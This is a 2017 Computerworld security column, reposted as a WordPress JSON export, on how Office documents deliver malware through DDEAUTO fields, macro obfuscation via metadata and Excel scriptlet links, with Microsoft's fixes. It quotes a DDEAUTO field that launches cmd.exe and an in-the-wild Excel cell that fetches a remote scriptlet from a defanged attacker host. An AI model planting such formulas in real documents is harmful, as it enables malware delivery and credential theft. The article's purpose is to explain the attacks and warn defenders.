{"id":10901,"date":"2017-12-19T14:30:04","date_gmt":"2017-12-19T22:30:04","guid":{"rendered":"http:\/\/www.palada.net\/index.php\/2017\/12\/19\/news-4673\/"},"modified":"2017-12-19T14:30:04","modified_gmt":"2017-12-19T22:30:04","slug":"news-4673","status":"publish","type":"post","link":"http:\/\/www.palada.net\/index.php\/2017\/12\/19\/news-4673\/","title":{"rendered":"Office as a malware delivery platform: DDE, Scriptlets, Macro obfuscation"},"content":{"rendered":"<p><img decoding=\"async\" src=\"https:\/\/images.idgesg.net\/images\/article\/2017\/09\/windows_patch_security5-100734739-large.3x2.jpg\"\/><\/p>\n<p><strong>Credit to Author: Woody Leonhard| Date: Tue, 19 Dec 2017 13:34:00 -0800<\/strong><\/p>\n<p>I, for one, thought that Office-based malware reached its zenith in the late 1990s, with the likes of <a href=\"https:\/\/books.google.com\/books?id=T97iBEb_Tg0C&amp;pg=PA395&amp;lpg=PA395&amp;dq=melissa+woody+leonhard&amp;source=bl&amp;ots=yGbhdP6GEb&amp;sig=R-XxZC8-gwAzKmGE2oYAnJvxCl8&amp;hl=en&amp;sa=X&amp;ved=0ahUKEwjqkO_31pbYAhWk5YMKHZmYDd4Q6AEIWjAM#v=onepage&amp;q=melissa%20woody%20leonhard&amp;f=false\" rel=\"nofollow\">Melissa<\/a>. Sure, we\u2019ve seen macro-based <a href=\"https:\/\/www.virusbulletin.com\/virusbulletin\/2014\/07\/vba-not-dead\" rel=\"nofollow\">pain-in-the-neckware<\/a> over the past two decades, including some macro malware that <a href=\"https:\/\/blog.malwarebytes.com\/cybercrime\/2017\/02\/microsoft-office-macro-malware-targets-macs\/\" rel=\"nofollow\">specifically attacks Macs<\/a>, but by and large, Word, Excel and, to a lesser degree, PowerPoint now throw warning dialogs into the middle of just about any attack. Those with malevolent intent have moved on to greener fields.<\/p>\n<p>Or have they?<\/p>\n<p>Some clever researchers have found new and unexpected ways to get Word, Excel and PowerPoint documents to deliver all sorts of malware \u2014 ransomware, snoopers, even a newly discovered credential stealer that specializes in gathering usernames and passwords.<\/p>\n<p>In many cases, these new uses employ methods as old as the hills. But the old warning signs don\u2019t work as well as they once did: Confronted with a challenge like the one in the screenshot, many folks, nowadays, wouldn\u2019t hesitate to click Yes.<\/p>\n<p>Dive deep into Word and you\u2019ll find a feature called <em>fields<\/em>. As best as I can tell, fields existed before macros. The idea behind a field is simple enough: You stick <em>a field code<\/em> inside a document that Word can calculate or put together in some way. Instead of showing you the field code, Word makes the calculation and presents you with the result of the calculation. For example, the field code {page} returns the current page number.<\/p>\n<p>The details can get tricky: My <em><a href=\"https:\/\/dl.acm.org\/citation.cfm?id=561310\" rel=\"nofollow\">Hacker\u2019s Guide to Word for Windows<\/a><\/em> contains 85 pages on field codes and their obtuse results. Mind you, that was 23 years ago.<\/p>\n<p>The {DDEAUTO} field code must date back to <a href=\"https:\/\/channel9.msdn.com\/Shows\/TheOfficeBlog\/The-History-of-Microsoft-with-Charles-Simonyi-The-Pioneer-Behind-Microsoft-Word-Part-One\" rel=\"nofollow\">Charles Simonyi<\/a>\u2019s time. It\u2019s used to instruct Word to start another application, and either put data into that app or pull data from it. For example, the field<\/p>\n<p><code>{DDEAUTO excel c:\\xldata\\addrlist.xls r5c1:r5c9}<\/code><\/p>\n<p>tells Word to start up Excel, open the file named addrlist.xls, pull the contents of row 5 columns 1 thru 9, and stick them in the Word document. The {DDEAUTO} field fires when you open the Word document (that\u2019s the \u201cAUTO\u201d part).<\/p>\n<p>Before retrieving (or sending) the data, Word kicks up a warning message like the one in the preceding screenshot. If the referenced program isn\u2019t running, you get an additional message asking if it\u2019s OK to start the application.<\/p>\n<p>Last October, Etienne Stalmans and Saif El-Sherei <a href=\"https:\/\/sensepost.com\/blog\/2017\/macro-less-code-exec-in-msword\/\" rel=\"nofollow\">published an article<\/a> for the Sensepost blog that describes a perfectly normal way of using the ancient technology. They put together this field:<\/p>\n<p><code>{DDEAUTO c:\\windows\\system32\\cmd.exe \"\/k calc.exe\"\u00a0 }<\/code><\/p>\n<p>and found that it kicks off the Windows Calculator, provided the person opening the document clicks Yes on those two warning dialogs.<\/p>\n<p>At first, that looked fine: {DDEAUTO} was working the way it should, the way it\u2019s worked since pterodactyls moonlighted as cooler fans. But then some of us started feeling uneasy. Yeah, that\u2019s the way it\u2019s supposed to work \u2014 but is the potential security vulnerability worth the added benefit?<\/p>\n<p>Kevin Beaumont on Twitter (@GossiTheDog) added <a href=\"https:\/\/twitter.com\/gossithedog\/status\/920635876375449600?lang=en\" rel=\"nofollow\">more fuel to the flames<\/a>:<\/p>\n<p>Remember the Word DDE issue found by @sensepost? Copy the DDE from Word into Outlook, then email it to somebody. No attachment -&gt; calc. As techniques go it\u2019s pretty sweet as there\u2019s no attachment for AV to scan. Outlook uses Word as email editor, it spawns the DDEAUTO. Bonus side effect \u2014 if you have cmd.exe disabled in Group Policy, it executes the exe in \/k parameter, before claiming it is disabled.<\/p>\n<p>The situation deteriorated rapidly. Tweeter Brian in Pittsburgh (@arekfurt) <a href=\"https:\/\/twitter.com\/arekfurt\/status\/928315924897247232\" rel=\"nofollow\">laid out a timeline<\/a>:<\/p>\n<p>By Oct. 27, we <a href=\"https:\/\/www.computerworld.com\/article\/3235289\/microsoft-windows\/get-windows-and-office-patched-but-watch-out-for-creepy-crawlies.html\">raised a warning<\/a> here in <em>Computerworld<\/em>. On Nov. 8, Microsoft released <a href=\"https:\/\/technet.microsoft.com\/library\/security\/4053440.aspx\" rel=\"nofollow\">Security Advisory 4053440<\/a>, which described the problem and offered some solutions.<\/p>\n<p>On Dec. 12, as part of this month\u2019s Patch Tuesday, Microsoft <a href=\"https:\/\/portal.msrc.microsoft.com\/en-US\/security-guidance\/advisory\/ADV170021\" rel=\"nofollow\">released updates<\/a> for all versions of Word \u2014 even the out-of-support Word 2003 and Word 2007 \u2014 that solved the problem by disabling {DDEAUTO} and \u201cauto-update for any linked fields, including DDE\u201d in general.<\/p>\n<p>Per <a href=\"https:\/\/portal.msrc.microsoft.com\/en-US\/security-guidance\/advisory\/ADV170021\" rel=\"nofollow\">Security Advisory 170021<\/a> updates KB 4011575, 4011590, 4011608, 4011612, and 4011614 all contain the change, they all disable {DDEAUTO} in Word. Once you\u2019ve installed the patch, there will be new registry keys available which you can change manually to re-enable {DDEAUTO}.<\/p>\n<p>Excel and PowerPoint have not been similarly hobbled. They both already have manually accessible settings that disable the Auto settings (File &gt; Options &gt; Trust Center &gt; Trust Center Settings &gt; External Content).<\/p>\n<p>So it appears as if the {DDEAUTO} hole is plugged, at least for now.<\/p>\n<p>Earlier this week, Xavier Mertens published an illuminating hack on the SANS Internet Storm Center blog. Called <a href=\"https:\/\/isc.sans.edu\/diary\/23139\" rel=\"nofollow\">Microsoft Office VBA Macro Obfuscation via Metadata<\/a>, Mertens found a way to run macros where the bulk of the bad part is hidden inside a spreadsheet\u2019s metadata.<\/p>\n<p>When the macro runs \u2014 and the user has to click to allow it to run \u2014 the macro extracts the malicious code from metadata, bypassing most malware scanners. What looks like an innocuous macro with one weird call turns out to be a demon with fangs.<\/p>\n<p>Very clever.<\/p>\n<p>Earlier this morning, Andy Norton at security firm Lastline, published an <a href=\"https:\/\/www.lastline.com\/blog\/password-stealing-malware-loki-bot\/\" rel=\"nofollow\">eye-opening analysis<\/a> of an attack delivered through an Excel spreadsheet that doesn\u2019t use macros, doesn\u2019t use DDE, but does use an external link to start a scriptlet. A scriptlet is \u201ca Microsoft XML wrapper for scripting languages to register themselves as COM objects and execute.\u201d<\/p>\n<p>At heart of the attack demo is a <a href=\"https:\/\/www.lastline.com\/labsblog\/when-scriptlets-attack-excels-alternative-to-dde-code-execution\/\" rel=\"nofollow\">cell that looks like<\/a> this:<\/p>\n<p>=Package|\u2019scRiPt:http:\/\/magchris[.]ga\/images\/squrey.xml\u2019!\u201d\u201d<\/p>\n<p>When the sheet gets opened, Excel prompts the user about updating external links and, if permission is granted, the scriptlet runs. In this case, the scriptlet kicks off a VBScript program, which does the dirty deed.<\/p>\n<p>Today\u2019s announcement includes an exploit found in the wild that installs the username-and-password-stealing program Loki. Norton put the spreadsheet through Virus Total, and only a few antivirus products catch it. People hunting down the source of the infection, says Norton,<\/p>\n<p>would have to track back through various logs until they found a connection to a Gabon Top Level Domain [.ga] website, offered from a free web hosting service that downloaded an executable file \u2013 _output23476823784.exe \u2013 to the victim. Provided with this information, they would instigate a further scan for the second stage payload, or hunt for known IoCs of the payload.<\/p>\n<p>It\u2019s a strange new world.<\/p>\n<p><em>Join the grumbling graybeards on the <a href=\"https:\/\/www.askwoody.com\/2017\/office-as-a-malware-delivery-platform-dde-scriptlets-macro-obfuscation\/\" rel=\"nofollow\">AskWoody Lounge<\/a>.<\/em><\/p>\n<p><a href=\"https:\/\/www.computerworld.com\/article\/3244084\/microsoft-windows\/office-as-a-malware-delivery-platform-dde-scriptlets-macro-obfuscation.html#tk.rss_security\" target=\"bwo\" >http:\/\/www.computerworld.com\/category\/security\/index.rss<\/a><\/p>\n","protected":false},"excerpt":{"rendered":"<p><img decoding=\"async\" src=\"https:\/\/images.idgesg.net\/images\/article\/2017\/09\/windows_patch_security5-100734739-large.3x2.jpg\"\/><\/p>\n<p><strong>Credit to Author: Woody Leonhard| Date: Tue, 19 Dec 2017 13:34:00 -0800<\/strong><\/p>\n<article>\n<section class=\"page\">\n<p>I, for one, thought that Office-based malware reached its zenith in the late 1990s, with the likes of <a href=\"https:\/\/books.google.com\/books?id=T97iBEb_Tg0C&amp;pg=PA395&amp;lpg=PA395&amp;dq=melissa+woody+leonhard&amp;source=bl&amp;ots=yGbhdP6GEb&amp;sig=R-XxZC8-gwAzKmGE2oYAnJvxCl8&amp;hl=en&amp;sa=X&amp;ved=0ahUKEwjqkO_31pbYAhWk5YMKHZmYDd4Q6AEIWjAM#v=onepage&amp;q=melissa%20woody%20leonhard&amp;f=false\" rel=\"nofollow\">Melissa<\/a>. Sure, we\u2019ve seen macro-based <a href=\"https:\/\/www.virusbulletin.com\/virusbulletin\/2014\/07\/vba-not-dead\" rel=\"nofollow\">pain-in-the-neckware<\/a> over the past two decades, including some macro malware that <a href=\"https:\/\/blog.malwarebytes.com\/cybercrime\/2017\/02\/microsoft-office-macro-malware-targets-macs\/\" rel=\"nofollow\">specifically attacks Macs<\/a>, but by and large, Word, Excel and, to a lesser degree, PowerPoint now throw warning dialogs into the middle of just about any attack. Those with malevolent intent have moved on to greener fields.<\/p>\n<p class=\"jumpTag\"><a href=\"\/article\/3244084\/microsoft-windows\/office-as-a-malware-delivery-platform-dde-scriptlets-macro-obfuscation.html#jump\">To read this article in full, please click here<\/a><\/p>\n<\/section>\n<\/article>\n","protected":false},"author":4,"featured_media":0,"comment_status":"open","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"colormag_page_container_layout":"default_layout","colormag_page_sidebar_layout":"default_layout","footnotes":""},"categories":[11062,10643],"tags":[15605,714,10761],"class_list":["post-10901","post","type-post","status-publish","format-standard","hentry","category-computerworld","category-independent","tag-office-software","tag-security","tag-windows-10"],"_links":{"self":[{"href":"http:\/\/www.palada.net\/index.php\/wp-json\/wp\/v2\/posts\/10901","targetHints":{"allow":["GET"]}}],"collection":[{"href":"http:\/\/www.palada.net\/index.php\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"http:\/\/www.palada.net\/index.php\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"http:\/\/www.palada.net\/index.php\/wp-json\/wp\/v2\/users\/4"}],"replies":[{"embeddable":true,"href":"http:\/\/www.palada.net\/index.php\/wp-json\/wp\/v2\/comments?post=10901"}],"version-history":[{"count":0,"href":"http:\/\/www.palada.net\/index.php\/wp-json\/wp\/v2\/posts\/10901\/revisions"}],"wp:attachment":[{"href":"http:\/\/www.palada.net\/index.php\/wp-json\/wp\/v2\/media?parent=10901"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"http:\/\/www.palada.net\/index.php\/wp-json\/wp\/v2\/categories?post=10901"},{"taxonomy":"post_tag","embeddable":true,"href":"http:\/\/www.palada.net\/index.php\/wp-json\/wp\/v2\/tags?post=10901"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}